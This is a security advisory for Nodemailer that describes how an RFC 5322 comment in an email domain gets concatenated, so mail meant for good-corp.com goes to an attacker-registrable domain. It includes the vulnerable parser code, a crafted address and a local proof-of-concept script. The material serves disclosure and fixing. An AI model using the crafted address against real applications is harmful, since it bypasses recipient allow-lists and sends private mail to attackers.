GHSA-cc9r-2j5m-2m83

Summary

Nodemailer's email-address parser treats an RFC 5322 comment ( ... ) inside the domain as a point to concatenate the surrounding text, rather than as folding whitespace (CFWS) that terminates the domain. Consequently a recipient address such as user@good-corp.com(x)evil.com is parsed and delivered to good-corp.comevil.com (registrable domain comevil.com, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com.

An application that decides whether it is allowed to email a recipient by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an Interpretation Conflict (CWE‑436), the same class as CVE‑2025‑13033, reached through the RFC 5322 comment construct (the "Comments" technique in PortSwigger's Splitting the email atom research, which produced a Postfix fix).

Severity is Moderate: exploitation requires the app's domain check to disagree with Nodemailer (see Impact for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → aiosmtpd).

Details

Root cause is in lib/addressparser/index.js.

1. The tokenizer registers the comment as an operator pair (Tokenizer.operators):

   '(': ')',            // line ~331
   

2. When the closing ) is immediately followed by a non‑break character (anything other than space / tab / CR / LF / , / ;), the tokenizer marks that operator token with noBreak = true:

   // Tokenizer.checkChar, lines ~398-399
   if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) {
       this.node.noBreak = true;
   }
   

3. _handleAddress then glues the token that follows the comment onto the token that preceded it (dropping the comment):

   // _handleAddress, lines ~187-188
   if (prevToken && prevToken.noBreak && data[state].length) {
       data[state][data[state].length - 1] += token.value;   // <-- concatenation
   }
   

For the input user@good-corp.com(x)evil.com the tokens are text:"user@good-corp.com", op:"(", text:"x", op:")" (flagged noBreak), text:"evil.com". Step 3 appends evil.com onto user@good-corp.com, producing the single domain good-corp.comevil.com. The comment content (x) is discarded into the display‑name field.

RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may not appear inside a dot-atom. A comment therefore separates tokens and terminates the domain; the conformant reading of good-corp.com(x)evil.com is the domain good-corp.com (with the trailing evil.com being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain.

Nodemailer uses the parsed address for both the SMTP envelope (getEnvelope() → RCPT TO) and the emitted To:/From: headers, so the entire message is routed to the concatenated domain.

Related grammar defect (bonus, lower impact): nested comments are legal in RFC 5322, but the tokenizer closes the comment at the first ) (chr === this.operatorExpecting, line ~392), so a valid nested comment such as user@x.com(a(b)c) is mis‑balanced and mangled to x.comc). That particular output contains a stray ) and is rejected by a conformant MTA (501) — a bounce/robustness issue, not a misroute.

Suggested fix: treat a comment as folding whitespace that terminates the current token — i.e. do not propagate noBreak across a comment‑closing ) (restrict the noBreak optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment.

PoC

Environment: Node.js ≥ 18 and the published nodemailer@9.0.6. No special transport configuration is required; the discrepancy is in address parsing.

poc-comment.js:

'use strict';
const net = require('net');
const nodemailer = require('nodemailer'); // 9.0.6

const TRUSTED   = 'good-corp.com';
const RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains

// tiny SMTP sink that prints the literal RCPT TO nodemailer transmits
const server = net.createServer(sock => {
  let buf = ''; sock.write('220 sink\r\n');
  sock.on('data', d => { buf += d; let i;
    while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2);
      const u = line.toUpperCase();
      if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
      else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); }
      else if (u.startsWith('DATA')) sock.write('354 go\r\n');
      else if (line === '.') sock.write('250 ok\r\n');
      else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
      else sock.write('250 ok\r\n'); } });
});
server.listen(0, '127.0.0.1', async () => {
  const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false });
  await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' });
  t.close(); server.close();
});

Run:

npm init -y && npm install nodemailer@9.0.6
node poc-comment.js

Actual output (nodemailer 9.0.6):

nodemailer transmits : RCPT TO:<user@good-corp.comevil.com>

The application asked to mail user@good-corp.com(x)evil.com; Nodemailer delivers to good-corp.comevil.com — registrable domain comevil.com, which an attacker can register.

Verified against a real RFC 5321 server (containerized lab included with this report — docker compose up --build, case R8_comment_glue, receiver = aiosmtpd):

wire RCPT TO                     : RCPT TO:<user@good-corp.comevil.com>
real server                      : ACCEPTED (250)
recipient parsed by real server  : user@good-corp.comevil.com   (domain good-corp.comevil.com)
delivered To header              : x <user@good-corp.comevil.com>

Which parser sees what (the crux of exploitability):

| Parser used by the application to gate/route | Domain it reads from user@good-corp.com(x)evil.com | Deceived? | |---|---|---| | Python email.policy.default (strict RFC 5322) | good-corp.com (flags InvalidHeaderDefect) | Yes, if defects are not checked | | Naive prefix / substring allow‑list (startsWith/includes('@good-corp.com')) | good-corp.com | Yes | | Nodemailer's own addressparser | good-corp.comevil.com | No | | Python email.utils.getaddresses | good-corp.comevil.com | No | | WHATWG url.domainToASCII | good-corp.com(x)evil.com | No |

Impact

• Who is impacted: applications that make a security or routing decision on the recipient domain using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser without inspecting parse defects, or with a prefix/substring/allow‑list check (e.g. "only send to @good-corp.com", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own addressparser, email.utils.getaddresses, or url.domainToASCII are not affected, which is why this is rated below the IDN/Punycode issue.

Patched in 9.1.0

Fixed in 902b63e.

Not propagating noBreak across the closing ) on its own breaks valid addresses, because CFWS is legal on either side of the @: user@(x)good-corp.com and user(x)@good-corp.com both come out mangled. A comment now joins what it separates only when one side carries the @, so those keep resolving while user@good-corp.com(x)evil.com terminates at good-corp.com.

Quoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: user@x.com(a(b)c) now yields user@x.com.